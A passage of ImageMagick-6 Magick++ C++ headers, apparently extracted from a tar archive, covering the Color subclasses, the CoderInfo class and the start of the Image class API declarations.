scaleDoubleToQuantum(const double double_) { return (static_cast<Magick::Quantum>(double_*QuantumRange)); } // Scale a value expressed as a Quantum (0-QuantumRange) to double range (0-1) #if (MAGICKCORE_QUANTUM_DEPTH < 32) && (MAGICKCORE_SIZEOF_FLOAT_T != MAGICKCORE_SIZEOF_DOUBLE || !defined(MAGICKCORE_HDRI_SUPPORT)) static double scaleQuantumToDouble(const Quantum quantum_) { return (static_cast<double>(quantum_)/QuantumRange); } #else static double scaleQuantumToDouble(const double quantum_) { return (quantum_/QuantumRange); } #endif protected: // PixelType specifies the interpretation of PixelPacket members // RGBPixel: // Red = red; // Green = green; // Blue = blue; // RGBAPixel: // Red = red; // Green = green; // Blue = blue; // Alpha = opacity; // CYMKPixel: // Cyan = red // Yellow = green // Magenta = blue // Black(K) = opacity enum PixelType { RGBPixel, RGBAPixel, CYMKPixel }; // Constructor to construct with PixelPacket* // Used to point Color at a pixel in an image Color(PixelPacket *rep_,PixelType pixelType_); // Set pixel // Used to point Color at a pixel in an image void pixel(PixelPacket *rep_,PixelType pixelType_); // PixelPacket represents a color pixel: // red = red (range 0 to QuantumRange) // green = green (range 0 to QuantumRange) // blue = blue (range 0 to QuantumRange) // opacity = alpha (range OpaqueOpacity=0 to TransparentOpacity=QuantumRange) // index = PseudoColor colormap index PixelPacket *_pixel; private: bool _isValid; // Set true if pixel is "valid" bool _pixelOwn; // Set true if we allocated pixel PixelType _pixelType; // Color type supported by _pixel // Common initializer for PixelPacket representation void initPixel(); }; // // Grayscale RGB color // // Grayscale is simply RGB with equal parts of red, green, and blue // All double arguments have a valid range of 0.0 - 1.0. class MagickPPExport ColorGray : public Color { public: // Default constructor ColorGray(void); // Copy constructor ColorGray(const Color & color_); // Construct ColorGray using the specified shade ColorGray(double shade_); // Destructor ~ColorGray(); void shade(double shade_); double shade(void) const; // Assignment operator from base class ColorGray& operator=(const Color& color_); protected: // Constructor to construct with PixelPacket* ColorGray(PixelPacket *rep_,PixelType pixelType_); }; // // HSL Colorspace colors // class MagickPPExport ColorHSL: public Color { public: // Default constructor ColorHSL(void); // Copy constructor ColorHSL(const Color &color_); // Construct ColorHSL using the specified HSL values ColorHSL(double hue_,double saturation_,double luminosity_); // Destructor ~ColorHSL(); // Assignment operator from base class ColorHSL& operator=(const Color& color_); // Hue color void hue(double hue_); double hue(void) const; // Luminosity color void luminosity(double luminosity_); double luminosity(void) const; // Saturation color void saturation(double saturation_); double saturation(void) const; protected: // Constructor to construct with PixelPacket* ColorHSL(PixelPacket *rep_,PixelType pixelType_); }; // // Monochrome color // // Color arguments are constrained to 'false' (black pixel) and 'true' // (white pixel) class MagickPPExport ColorMono : public Color { public: // Default constructor ColorMono(void); // Construct ColorMono (false=black, true=white) ColorMono(bool mono_); // Copy constructor ColorMono(const Color & color_); // Destructor ~ColorMono(); // Assignment operator from base class ColorMono& operator=(const Color& color_); // Mono color void mono(bool mono_); bool mono(void) const; protected: // Constructor to construct with PixelPacket* ColorMono(PixelPacket *rep_,PixelType pixelType_); }; // // RGB color // // All color arguments have a valid range of 0.0 - 1.0. class MagickPPExport ColorRGB: public Color { public: // Default constructor ColorRGB(void); // Copy constructor ColorRGB(const Color &color_); // Construct ColorRGB using the specified RGB values ColorRGB(double red_,double green_,double blue_); // Destructor ~ColorRGB(void); // Assignment operator from base class ColorRGB& operator=(const Color& color_); // Blue color void blue(double blue_); double blue(void) const; // Green color void green(double green_); double green(void) const; // Red color void red(double red_); double red(void) const; protected: // Constructor to construct with PixelPacket* ColorRGB(PixelPacket *rep_,PixelType pixelType_); }; // // YUV Colorspace color // // Argument ranges: // Y: 0.0 through 1.0 // U: -0.5 through 0.5 // V: -0.5 through 0.5 class MagickPPExport ColorYUV: public Color { public: // Default constructor ColorYUV(void); // Copy constructor ColorYUV(const Color &color_); // Construct ColorYUV using the specified YUV values ColorYUV(double y_,double u_,double v_); // Destructor ~ColorYUV(void); // Assignment operator from base class ColorYUV& operator=(const Color& color_); // Color U (0.0 through 1.0) void u(double u_); double u(void) const; // Color V (-0.5 through 0.5) void v(double v_); double v(void) const; // Color Y (-0.5 through 0.5) void y(double y_); double y(void) const; protected: // Constructor to construct with PixelInfo* ColorYUV(PixelPacket *rep_,PixelType pixelType_); }; } // namespace Magick // // Inlines // // // Color // inline void Magick::Color::alpha(double alpha_) { alphaQuantum(scaleDoubleToQuantum(alpha_)); } inline double Magick::Color::alpha(void) const { return scaleQuantumToDouble(alphaQuantum()); } inline void Magick::Color::alphaQuantum(Magick::Quantum alpha_) { _pixel->opacity=alpha_; _isValid=true ; } inline Magick::Quantum Magick::Color::alphaQuantum(void) const { return _pixel->opacity; } inline void Magick::Color::blueQuantum(Magick::Quantum blue_) { _pixel->blue=blue_; _isValid=true; } inline Magick::Quantum Magick::Color::blueQuantum(void) const { return _pixel->blue; } inline void Magick::Color::greenQuantum(Magick::Quantum green_) { _pixel->green=green_; _isValid=true; } inline Magick::Quantum Magick::Color::greenQuantum(void) const { return _pixel->green; } inline void Magick::Color::redQuantum(Magick::Quantum red_) { _pixel->red=red_; _isValid=true; } inline Magick::Quantum Magick::Color::redQuantum(void) const { return _pixel->red; } inline void Magick::Color::initPixel() { _pixel->red=0; _pixel->green=0; _pixel->blue=0; _pixel->opacity=TransparentOpacity; } inline Magick::Color::operator MagickCore::PixelPacket() const { return *_pixel; } // // ColorGray // inline Magick::ColorGray::ColorGray(Magick::PixelPacket *rep_, Magick::Color::PixelType pixelType_) : Color(rep_,pixelType_) { } // // ColorHSL // inline Magick::ColorHSL::ColorHSL(Magick::PixelPacket *rep_, Magick::Color::PixelType pixelType_) : Color(rep_,pixelType_) { } // // ColorMono // inline Magick::ColorMono::ColorMono(Magick::PixelPacket *rep_, Magick::Color::PixelType pixelType_) : Color(rep_,pixelType_) { } // // ColorRGB // inline Magick::ColorRGB::ColorRGB(Magick::PixelPacket *rep_, Magick::Color::PixelType pixelType_) : Color(rep_,pixelType_) { } inline void Magick::ColorRGB::blue(double blue_) { blueQuantum(scaleDoubleToQuantum(blue_)); } inline double Magick::ColorRGB::blue(void) const { return scaleQuantumToDouble(blueQuantum()); } inline void Magick::ColorRGB::green(double green_) { greenQuantum(scaleDoubleToQuantum(green_)); } inline double Magick::ColorRGB::green(void) const { return scaleQuantumToDouble(greenQuantum()); } inline void Magick::ColorRGB::red(double red_) { redQuantum(scaleDoubleToQuantum(red_)); } inline double Magick::ColorRGB::red(void) const { return scaleQuantumToDouble(redQuantum()); } // // ColorYUV // inline Magick::ColorYUV::ColorYUV(Magick::PixelPacket *rep_, Magick::Color::PixelType pixelType_) : Color(rep_,pixelType_) { } #endif // Magick_Color_header ImageMagick-6/Magick++/CoderInfo.h 0000644 00000003202 15246445046 0012416 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 2001, 2002 // Copyright Dirk Lemstra 2013-2014 // // CoderInfo Definition // // Container for image format support information. // #if !defined (Magick_CoderInfo_header) #define Magick_CoderInfo_header 1 #include "Magick++/Include.h" #include <string> namespace Magick { class MagickPPExport CoderInfo { public: enum MatchType { AnyMatch, // match any coder TrueMatch, // match coder if true FalseMatch // match coder if false }; // Default constructor CoderInfo(void); // Copy constructor CoderInfo(const CoderInfo &coder_); // Construct with coder name CoderInfo(const std::string &name_); // Destructor ~CoderInfo(void); // Assignment operator CoderInfo& operator=(const CoderInfo &coder_); // Format description std::string description(void) const; // Format supports multiple frames bool isMultiFrame(void) const; // Format is readable bool isReadable(void) const; // Format is writeable bool isWritable(void) const; // Format mime type std::string mimeType(void) const; // Format name std::string name(void) const; // Unregisters this coder bool unregister(void) const; // // Implemementation methods // CoderInfo(const MagickCore::MagickInfo *magickInfo_); private: std::string _name; std::string _description; std::string _mimeType; bool _isReadable; bool _isWritable; bool _isMultiFrame; }; } // namespace Magick #endif // Magick_CoderInfo_header ImageMagick-6/Magick++/Image.h 0000644 00000201630 15246445046 0011575 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002, 2003 // Copyright Dirk Lemstra 2013-2015 // // Definition of Image, the representation of a single image in Magick++ // #if !defined(Magick_Image_header) #define Magick_Image_header #include "Magick++/Include.h" #include <string> #include <list> #include "Magick++/Blob.h" #include "Magick++/ChannelMoments.h" #include "Magick++/Color.h" #include "Magick++/Drawable.h" #include "Magick++/Exception.h" #include "Magick++/Geometry.h" #include "Magick++/TypeMetric.h" namespace Magick { // Forward declarations class Options; class ImageRef; extern MagickPPExport const char *borderGeometryDefault; extern MagickPPExport const char *frameGeometryDefault; extern MagickPPExport const char *raiseGeometryDefault; // Compare two Image objects regardless of LHS/RHS // Image sizes and signatures are used as basis of comparison MagickPPExport int operator == (const Magick::Image &left_,const Magick::Image &right_); MagickPPExport int operator != (const Magick::Image &left_,const Magick::Image &right_); MagickPPExport int operator > (const Magick::Image &left_,const Magick::Image &right_); MagickPPExport int operator < (const Magick::Image &left_,const Magick::Image &right_); MagickPPExport int operator >= (const Magick::Image &left_,const Magick::Image &right_); MagickPPExport int operator <= (const Magick::Image &left_,const Magick::Image &right_); // // Image is the representation of an image. In reality, it actually // a handle object which contains a pointer to a shared reference // object (ImageRef). As such, this object is extremely space efficient. // class MagickPPExport Image { public: // Obtain image statistics. Statistics are normalized to the range // of 0.0 to 1.0 and are output to the specified ImageStatistics // structure. typedef struct _ImageChannelStatistics { /* Minimum value observed */ double maximum; /* Maximum value observed */ double minimum; /* Average (mean) value observed */ double mean; /* Standard deviation, sqrt(variance) */ double standard_deviation; /* Variance */ double variance; /* Kurtosis */ double kurtosis; /* Skewness */ double skewness; } ImageChannelStatistics; typedef struct _ImageStatistics { ImageChannelStatistics red; ImageChannelStatistics green; ImageChannelStatistics blue; ImageChannelStatistics opacity; } ImageStatistics; // Default constructor Image(void); // Construct Image from in-memory BLOB Image(const Blob &blob_); // Construct Image of specified size from in-memory BLOB Image(const Blob &blob_,const Geometry &size_); // Construct Image of specified size and depth from in-memory BLOB Image(const Blob &blob_,const Geometry &size_,const size_t depth_); // Construct Image of specified size, depth, and format from // in-memory BLOB Image(const Blob &blob_,const Geometry &size_,const size_t depth_, const std::string &magick_); // Construct Image of specified size, and format from in-memory BLOB Image(const Blob &blob_,const Geometry &size_,const std::string &magick_); // Construct a blank image canvas of specified size and color Image(const Geometry &size_,const Color &color_); // Copy constructor Image(const Image &image_); // Copy constructor to copy part of the image Image(const Image &image_,const Geometry &geometry_); // Construct an image based on an array of raw pixels, of // specified type and mapping, in memory Image(const size_t width_,const size_t height_,const std::string &map_, const StorageType type_,const void *pixels_); // Construct from image file or image specification Image(const std::string &imageSpec_); // Destructor virtual ~Image(); // Assignment operator Image& operator=(const Image &image_); // Join images into a single multi-image file void adjoin(const bool flag_); bool adjoin(void) const; // Anti-alias Postscript and TrueType fonts (default true) void antiAlias(const bool flag_); bool antiAlias(void) const; // Time in 1/100ths of a second which must expire before // displaying the next image in an animated sequence. void animationDelay(const size_t delay_); size_t animationDelay(void) const; // Number of iterations to loop an animation (e.g. Netscape loop // extension) for. void animationIterations(const size_t iterations_); size_t animationIterations(void) const; // Lessen (or intensify) when adding noise to an image. void attenuate(const double attenuate_); // Image background color void backgroundColor(const Color &color_); Color backgroundColor(void) const; // Name of texture image to tile onto the image background void backgroundTexture(const std::string &backgroundTexture_); std::string backgroundTexture(void) const; // Base image width (before transformations) size_t baseColumns(void) const; // Base image filename (before transformations) std::string baseFilename(void) const; // Base image height (before transformations) size_t baseRows(void) const; // Use black point compensation. void blackPointCompensation(const bool flag_); bool blackPointCompensation(void) const; // Image border color void borderColor(const Color &color_); Color borderColor(void) const; // Return smallest bounding box enclosing non-border pixels. The // current fuzz value is used when discriminating between pixels. // This is the crop bounding box used by crop(Geometry(0,0)); Geometry boundingBox(void) const; // Text bounding-box base color (default none) void boxColor(const Color &boxColor_); Color boxColor(void) const; // This method is now deprecated. Please use ResourceLimits instead. static void cacheThreshold(const size_t threshold_); // Image class (DirectClass or PseudoClass) // NOTE: setting a DirectClass image to PseudoClass will result in // the loss of color information if the number of colors in the // image is greater than the maximum palette size (either 256 or // 65536 entries depending on the value of MAGICKCORE_QUANTUM_DEPTH when // ImageMagick was built). void classType(const ClassType class_); ClassType classType(void) const; // Associate a clip mask with the image. The clip mask must be the // same dimensions as the image. Pass an invalid image to unset an // existing clip mask. void clipMask(const Image &clipMask_); Image clipMask(void) const; // Colors within this distance are considered equal void colorFuzz(const double fuzz_); double colorFuzz(void) const; // Colormap size (number of colormap entries) void colorMapSize(const size_t entries_); size_t colorMapSize(void) const; // Image Color Space void colorSpace(const ColorspaceType colorSpace_); ColorspaceType colorSpace(void) const; void colorspaceType(const ColorspaceType colorSpace_); ColorspaceType colorspaceType(void) const; // Image width size_t columns(void) const; // Comment image (add comment string to image) void comment(const std::string &comment_); std::string comment(void) const; // Composition operator to be used when composition is implicitly // used (such as for image flattening). void compose(const CompositeOperator compose_); CompositeOperator compose(void) const; // Compression type void compressType(const CompressionType compressType_); CompressionType compressType(void) const; // Enable printing of debug messages from ImageMagick void debug(const bool flag_); bool debug(void) const; // Vertical and horizontal resolution in pixels of the image void density(const Geometry &geomery_); Geometry density(void) const; // Image depth (bits allocated to red/green/blue components) void depth(const size_t depth_); size_t depth(void) const; // Tile names from within an image montage std::string directory(void) const; // Endianness (little like Intel or big like SPARC) for image // formats which support endian-specific options. void endian(const EndianType endian_); EndianType endian(void) const; // Exif profile (BLOB) void exifProfile(const Blob &exifProfile_); Blob exifProfile(void) const; // Image file name void fileName(const std::string &fileName_); std::string fileName(void) const; // Number of bytes of the image on disk off_t fileSize(void) const; // Color to use when filling drawn objects void fillColor(const Color &fillColor_); Color fillColor(void) const; // Rule to use when filling drawn objects void fillRule(const FillRule &fillRule_); FillRule fillRule(void) const; // Pattern to use while filling drawn objects. void fillPattern(const Image &fillPattern_); Image fillPattern(void) const; // Filter to use when resizing image void filterType(const FilterTypes filterType_); FilterTypes filterType(void) const; // Text rendering font void font(const std::string &font_); std::string font(void) const; // Font family void fontFamily(const std::string &family_); std::string fontFamily(void) const; // Font point size void fontPointsize(const double pointSize_); double fontPointsize(void) const; // Font style void fontStyle(const StyleType style_); StyleType fontStyle(void) const; // Font weight void fontWeight(const size_t weight_); size_t fontWeight(void) const; // Long image format description std::string format(void) const; // Formats the specified expression // More info here: https://imagemagick.org/script/escape.php std::string formatExpression(const std::string expression); // Gamma level of the image double gamma(void) const; // Preferred size of the image when encoding Geometry geometry(void) const; // GIF disposal method void gifDisposeMethod(const size_t disposeMethod_); size_t gifDisposeMethod(void) const; // When comparing images, emphasize pixel differences with this color. void highlightColor(const Color color_); // ICC color profile (BLOB) void iccColorProfile(const Blob &colorProfile_); Blob iccColorProfile(void) const; // Type of interlacing to use void interlaceType(const InterlaceType interlace_); InterlaceType interlaceType(void) const; // Pixel color interpolation method to use void interpolate(const InterpolatePixelMethod interpolate_); InterpolatePixelMethod interpolate(void) const; // IPTC profile (BLOB) void iptcProfile(const Blob &iptcProfile_); Blob iptcProfile(void) const; // Returns true if none of the pixels in the image have an alpha value // other than OpaqueAlpha (QuantumRange). bool isOpaque(void) const; // Does object contain valid image? void isValid(const bool isValid_); bool isValid(void) const; // Image label void label(const std::string &label_); std::string label(void) const; // Stroke width for drawing vector objects (default one) // This method is now deprecated. Please use strokeWidth instead. void lineWidth(const double lineWidth_); double lineWidth(void) const; // When comparing images, de-emphasize pixel differences with this color. void lowlightColor(const Color color_); // File type magick identifier (.e.g "GIF") void magick(const std::string &magick_); std::string magick(void) const; // Associate a mask with the image. The mask must be the same dimensions // as the image. Pass an invalid image to unset an existing clip mask. void mask(const Image &mask_); Image mask(void) const; // Image supports transparency (matte channel) void matte(const bool matteFlag_); bool matte(void) const; // Transparent color void matteColor(const Color &matteColor_); Color matteColor(void) const; // The mean error per pixel computed when an image is color reduced double meanErrorPerPixel(void) const; // Image modulus depth (minimum number of bits required to support // red/green/blue components without loss of accuracy) void modulusDepth(const size_t modulusDepth_); size_t modulusDepth(void) const; // Transform image to black and white void monochrome(const bool monochromeFlag_); bool monochrome(void) const; // Tile size and offset within an image montage Geometry montageGeometry(void) const; // The normalized max error per pixel computed when an image is // color reduced. double normalizedMaxError(void) const; // The normalized mean error per pixel computed when an image is // color reduced. double normalizedMeanError(void) const; // Image orientation void orientation(const OrientationType orientation_); OrientationType orientation(void) const; // Preferred size and location of an image canvas. void page(const Geometry &pageSize_); Geometry page(void) const; // Pen color (deprecated, don't use any more) void penColor(const Color &penColor_); Color penColor(void) const; // Pen texture image (deprecated, don't use any more) void penTexture(const Image &penTexture_); Image penTexture(void) const; // JPEG/MIFF/PNG compression level (default 75). void quality(const size_t quality_); size_t quality(void) const; // Maximum number of colors to quantize to void quantizeColors(const size_t colors_); size_t quantizeColors(void) const; // Colorspace to quantize in. void quantizeColorSpace(const ColorspaceType colorSpace_); ColorspaceType quantizeColorSpace(void) const; // Dither image during quantization (default true). void quantizeDither(const bool ditherFlag_); bool quantizeDither(void) const; // Dither method void quantizeDitherMethod(const DitherMethod ditherMethod_); DitherMethod quantizeDitherMethod(void) const; // Quantization tree-depth void quantizeTreeDepth(const size_t treeDepth_); size_t quantizeTreeDepth(void) const; // Suppress all warning messages. Error messages are still reported. void quiet(const bool quiet_); bool quiet(void) const; // The type of rendering intent void renderingIntent(const RenderingIntent renderingIntent_); RenderingIntent renderingIntent(void) const; // Units of image resolution void resolutionUnits(const ResolutionType resolutionUnits_); ResolutionType resolutionUnits(void) const; // The number of pixel rows in the image size_t rows(void) const; // Image scene number void scene(const size_t scene_); size_t scene(void) const; // Width and height of a raw image void size(const Geometry &geometry_); Geometry size(void) const; // enabled/disable stroke anti-aliasing void strokeAntiAlias(const bool flag_); bool strokeAntiAlias(void) const; // Color to use when drawing object outlines void strokeColor(const Color &strokeColor_); Color strokeColor(void) const; // Specify the pattern of dashes and gaps used to stroke // paths. The strokeDashArray represents a zero-terminated array // of numbers that specify the lengths of alternating dashes and // gaps in pixels. If an odd number of values is provided, then // the list of values is repeated to yield an even number of // values. A typical strokeDashArray_ array might contain the // members 5 3 2 0, where the zero value indicates the end of the // pattern array. void strokeDashArray(const double *strokeDashArray_); const double *strokeDashArray(void) const; // While drawing using a dash pattern, specify distance into the // dash pattern to start the dash (default 0). void strokeDashOffset(const double strokeDashOffset_); double strokeDashOffset(void) const; // Specify the shape to be used at the end of open subpaths when // they are stroked. Values of LineCap are UndefinedCap, ButtCap, // RoundCap, and SquareCap. void strokeLineCap(const LineCap lineCap_); LineCap strokeLineCap(void) const; // Specify the shape to be used at the corners of paths (or other // vector shapes) when they are stroked. Values of LineJoin are // UndefinedJoin, MiterJoin, RoundJoin, and BevelJoin. void strokeLineJoin(const LineJoin lineJoin_); LineJoin strokeLineJoin(void) const; // Specify miter limit. When two line segments meet at a sharp // angle and miter joins have been specified for 'lineJoin', it is // possible for the miter to extend far beyond the thickness of // the line stroking the path. The miterLimit' imposes a limit on // the ratio of the miter length to the 'lineWidth'. The default // value of this parameter is 4. void strokeMiterLimit(const size_t miterLimit_); size_t strokeMiterLimit(void) const; // Pattern image to use while stroking object outlines. void strokePattern(const Image &strokePattern_); Image strokePattern(void) const; // Stroke width for drawing vector objects (default one) void strokeWidth(const double strokeWidth_); double strokeWidth(void) const; // Subimage of an image sequence void subImage(const size_t subImage_); size_t subImage(void) const; // Number of images relative to the base image void subRange(const size_t subRange_); size_t subRange(void) const; // Render text right-to-left or left-to-right. void textDirection(DirectionType direction_); DirectionType textDirection() const; // Annotation text encoding (e.g. "UTF-16") void textEncoding(const std::string &encoding_); std::string textEncoding(void) const; // Text gravity. void textGravity(GravityType gravity_); GravityType textGravity() const; // Text inter-line spacing void textInterlineSpacing(double spacing_); double textInterlineSpacing(void) const; // Text inter-word spacing void textInterwordSpacing(double spacing_); double textInterwordSpacing(void) const; // Text inter-character kerning void textKerning(double kerning_); double textKerning(void) const; // Text undercolor box void textUnderColor(const Color &underColor_); Color textUnderColor(void) const; // Tile name void tileName(const std::string &tileName_); std::string tileName(void) const; // Number of colors in the image size_t totalColors(void) const; // Rotation to use when annotating with text or drawing void transformRotation(const double angle_); // Skew to use in X axis when annotating with text or drawing void transformSkewX(const double skewx_); // Skew to use in Y axis when annotating with text or drawing void transformSkewY(const double skewy_); // Image representation type (also see type operation) // Available types: // Bilevel Grayscale GrayscaleMatte // Palette PaletteMatte TrueColor // TrueColorMatte ColorSeparation ColorSeparationMatte void type(const ImageType type_); ImageType type(void) const; // Print detailed information about the image void verbose(const bool verboseFlag_); bool verbose(void) const; // FlashPix viewing parameters void view(const std::string &view_); std::string view(void) const; // Virtual pixel method void virtualPixelMethod(const VirtualPixelMethod virtual_pixel_method_); VirtualPixelMethod virtualPixelMethod(void) const; // X11 display to display to, obtain fonts from, or to capture // image from void x11Display(const std::string &display_); std::string x11Display(void) const; // x resolution of the image double xResolution(void) const; // y resolution of the image double yResolution(void) const; // Adaptive-blur image with specified blur factor // The radius_ parameter specifies the radius of the Gaussian, in // pixels, not counting the center pixel. The sigma_ parameter // specifies the standard deviation of the Laplacian, in pixels. void adaptiveBlur(const double radius_=0.0,const double sigma_=1.0); // This is shortcut function for a fast interpolative resize using mesh // interpolation. It works well for small resizes of less than +/- 50% // of the original image size. For larger resizing on images a full // filtered and slower resize function should be used instead. void adaptiveResize(const Geometry &geometry_); // Adaptively sharpens the image by sharpening more intensely near image // edges and less intensely far from edges. We sharpen the image with a // Gaussian operator of the given radius and standard deviation (sigma). // For reasonable results, radius should be larger than sigma. void adaptiveSharpen(const double radius_=0.0,const double sigma_=1.0); void adaptiveSharpenChannel(const ChannelType channel_, const double radius_=0.0,const double sigma_=1.0); // Local adaptive threshold image // http://www.dai.ed.ac.uk/HIPR2/adpthrsh.htm // Width x height define the size of the pixel neighborhood // offset = constant to subtract from pixel neighborhood mean void adaptiveThreshold(const size_t width,const size_t height, const ::ssize_t offset=0); // Add noise to image with specified noise type void addNoise(const NoiseType noiseType_); void addNoiseChannel(const ChannelType channel_, const NoiseType noiseType_); // Transform image by specified affine (or free transform) matrix. void affineTransform(const DrawableAffine &affine); // Activates, deactivates, resets, or sets the alpha channel. void alphaChannel(AlphaChannelType alphaType_); // // Annotate image (draw text on image) // // Gravity effects text placement in bounding area according to rules: // NorthWestGravity text bottom-left corner placed at top-left // NorthGravity text bottom-center placed at top-center // NorthEastGravity text bottom-right corner placed at top-right // WestGravity text left-center placed at left-center // CenterGravity text center placed at center // EastGravity text right-center placed at right-center // SouthWestGravity text top-left placed at bottom-left // SouthGravity text top-center placed at bottom-center // SouthEastGravity text top-right placed at bottom-right // Annotate using specified text, and placement location void annotate(const std::string &text_,const Geometry &location_); // Annotate using specified text, bounding area, and placement // gravity void annotate(const std::string &text_,const Geometry &boundingArea_, const GravityType gravity_); // Annotate with text using specified text, bounding area, // placement gravity, and rotation. void annotate(const std::string &text_,const Geometry &boundingArea_, const GravityType gravity_,const double degrees_); // Annotate with text (bounding area is entire image) and placement // gravity. void annotate(const std::string &text_,const GravityType gravity_); // Inserts the artifact with the specified name and value into // the artifact tree of the image. void artifact(const std::string &name_,const std::string &value_); // Returns the value of the artifact with the specified name. std::string artifact(const std::string &name_) const; // Access/Update a named image attribute void attribute(const std::string name_,const char *value_); void attribute(const std::string name_,const std::string value_); std::string attribute(const std::string name_ ) const; // Extracts the 'mean' from the image and adjust the image to try // make set its gamma appropriately. void autoGamma(void); void autoGammaChannel(const ChannelType channel_); // Adjusts the levels of a particular image channel by scaling the // minimum and maximum values to the full quantum range. void autoLevel(void); void autoLevelChannel(const ChannelType channel_); // Adjusts an image so that its orientation is suitable for viewing. void autoOrient(void); // Forces all pixels below the threshold into black while leaving all // pixels at or above the threshold unchanged. void blackThreshold(const std::string &threshold_); void blackThresholdChannel(const ChannelType channel_, const std::string &threshold_); // Simulate a scene at nighttime in the moonlight. void blueShift(const double factor_=1.5); // Blur image with specified blur factor // The radius_ parameter specifies the radius of the Gaussian, in // pixels, not counting the center pixel. The sigma_ parameter // specifies the standard deviation of the Laplacian, in pixels. void blur(const double radius_=0.0,const double sigma_=1.0); void blurChannel(const ChannelType channel_,const double radius_=0.0, const double sigma_=1.0); // Border image (add border to image) void border(const Geometry &geometry_=borderGeometryDefault); // Changes the brightness and/or contrast of an image. It converts the // brightness and contrast parameters into slope and intercept and calls // a polynomial function to apply to the image. void brightnessContrast(const double brightness_=0.0, const double contrast_=0.0); void brightnessContrastChannel(const ChannelType channel_, const double brightness_=0.0,const double contrast_=0.0); // Uses a multi-stage algorithm to detect a wide range of edges in images. void cannyEdge(const double radius_=0.0,const double sigma_=1.0, const double lowerPercent_=0.1,const double upperPercent_=0.3); // Accepts a lightweight Color Correction Collection // (CCC) file which solely contains one or more color corrections and // applies the correction to the image. void cdl(const std::string &cdl_); // Extract channel from image void channel(const ChannelType channel_); // Set or obtain modulus channel depth void channelDepth(const ChannelType channel_,const size_t depth_); size_t channelDepth(const ChannelType channel_); // Charcoal effect image (looks like charcoal sketch) // The radius_ parameter specifies the radius of the Gaussian, in // pixels, not counting the center pixel. The sigma_ parameter // specifies the standard deviation of the Laplacian, in pixels. void charcoal(const double radius_=0.0,const double sigma_=1.0); // Chop image (remove vertical or horizontal subregion of image) // FIXME: describe how geometry argument is used to select either // horizontal or vertical subregion of image. void chop(const Geometry &geometry_); // Chromaticity blue primary point (e.g. x=0.15, y=0.06) void chromaBluePrimary(const double x_,const double y_); void chromaBluePrimary(double *x_, double *y_) const; // Chromaticity green primary point (e.g. x=0.3, y=0.6) void chromaGreenPrimary(const double x_,const double y_); void chromaGreenPrimary(double *x_,double *y_) const; // Chromaticity red primary point (e.g. x=0.64, y=0.33) void chromaRedPrimary(const double x_,const double y_); void chromaRedPrimary(double *x_,double *y_) const; // Chromaticity white point (e.g. x=0.3127, y=0.329) void chromaWhitePoint(const double x_,const double y_); void chromaWhitePoint(double *x_,double *y_) const; // Set each pixel whose value is below zero to zero and any the // pixel whose value is above the quantum range to the quantum range (e.g. // 65535) otherwise the pixel value remains unchanged. void clamp(void); void clampChannel(const ChannelType channel_); // Sets the image clip mask based on any clipping path information // if it exists. void clip(void); void clipPath(const std::string pathname_,const bool inside_); // Apply a color lookup table (CLUT) to the image. void clut(const Image &clutImage_); void clutChannel(const ChannelType channel_,const Image &clutImage_); // Colorize image with pen color, using specified percent opacity. void colorize(const unsigned int opacity_,const Color &penColor_); // Colorize image with pen color, using specified percent opacity // for red, green, and blue quantums void colorize(const unsigned int opacityRed_, const unsigned int opacityGreen_,const unsigned int opacityBlue_, const Color &penColor_); // Color at colormap position index_ void colorMap(const size_t index_,const Color &color_); Color colorMap(const size_t index_) const; // Apply a color matrix to the image channels. The user supplied // matrix may be of order 1 to 5 (1x1 through 5x5). void colorMatrix(const size_t order_,const double *color_matrix_); // Compare current image with another image // Sets meanErrorPerPixel, normalizedMaxError, and normalizedMeanError // in the current image. True is returned if the images are identical. bool compare(const Image &reference_); // Compare current image with another image // Returns the distortion based on the specified metric. double compare(const Image &reference_,const MetricType metric_); double compareChannel(const ChannelType channel_,const Image &reference_, const MetricType metric_); // Compare current image with another image // Sets the distortion and returns the difference image. Image compare(const Image &reference_,const MetricType metric_, double *distortion); Image compareChannel(const ChannelType channel_,const Image &reference_, const MetricType metric_,double *distortion ); // Compose an image onto another at specified offset and using // specified algorithm void composite(const Image &compositeImage_,const Geometry &offset_, const CompositeOperator compose_=InCompositeOp); void composite(const Image &compositeImage_,const GravityType gravity_, const CompositeOperator compose_=InCompositeOp); void composite(const Image &compositeImage_,const ::ssize_t xOffset_, const ::ssize_t yOffset_,const CompositeOperator compose_=InCompositeOp); // Determines the connected-components of the image void connectedComponents(const size_t connectivity_); // Contrast image (enhance intensity differences in image) void contrast(const size_t sharpen_); // A simple image enhancement technique that attempts to improve the // contrast in an image by 'stretching' the range of intensity values // it contains to span a desired range of values. It differs from the // more sophisticated histogram equalization in that it can only apply a // linear scaling function to the image pixel values. As a result the // 'enhancement' is less harsh. void contrastStretch(const double black_point_,const double white_point_); void contrastStretchChannel(const ChannelType channel_, const double black_point_,const double white_point_); // Convolve image. Applies a user-specified convolution to the image. // order_ represents the number of columns and rows in the filter kernel. // kernel_ is an array of doubles representing the convolution kernel. void convolve(const size_t order_,const double *kernel_); // Copies pixels from the source image as defined by the geometry the // destination image at the specified offset. void copyPixels(const Image &source_,const Geometry &geometry_, const Offset &offset_); // Crop image (subregion of original image) void crop(const Geometry &geometry_); // Cycle image colormap void cycleColormap(const ::ssize_t amount_); // Converts cipher pixels to plain pixels. void decipher(const std::string &passphrase_); // Tagged image format define. Similar to the defineValue() method // except that passing the flag_ value 'true' creates a value-less // define with that format and key. Passing the flag_ value 'false' // removes any existing matching definition. The method returns 'true' // if a matching key exists, and 'false' if no matching key exists. void defineSet(const std::string &magick_,const std::string &key_, bool flag_); bool defineSet(const std::string &magick_,const std::string &key_) const; // Tagged image format define (set/access coder-specific option) The // magick_ option specifies the coder the define applies to. The key_ // option provides the key specific to that coder. The value_ option // provides the value to set (if any). See the defineSet() method if the // key must be removed entirely. void defineValue(const std::string &magick_,const std::string &key_, const std::string &value_); std::string defineValue(const std::string &magick_, const std::string &key_) const; // Removes skew from the image. Skew is an artifact that occurs in scanned // images because of the camera being misaligned, imperfections in the // scanning or surface, or simply because the paper was not placed // completely flat when scanned. The value of threshold_ ranges from 0 // to QuantumRange. void deskew(const double threshold_); // Despeckle image (reduce speckle noise) void despeckle(void); // Determines the color type of the image. This method can be used to // automaticly make the type GrayScale. ImageType determineType(void) const; // Display image on screen void display(void); // Distort image. distorts an image using various distortion methods, by // mapping color lookups of the source image to a new destination image // usually of the same size as the source image, unless 'bestfit' is set to // true. void 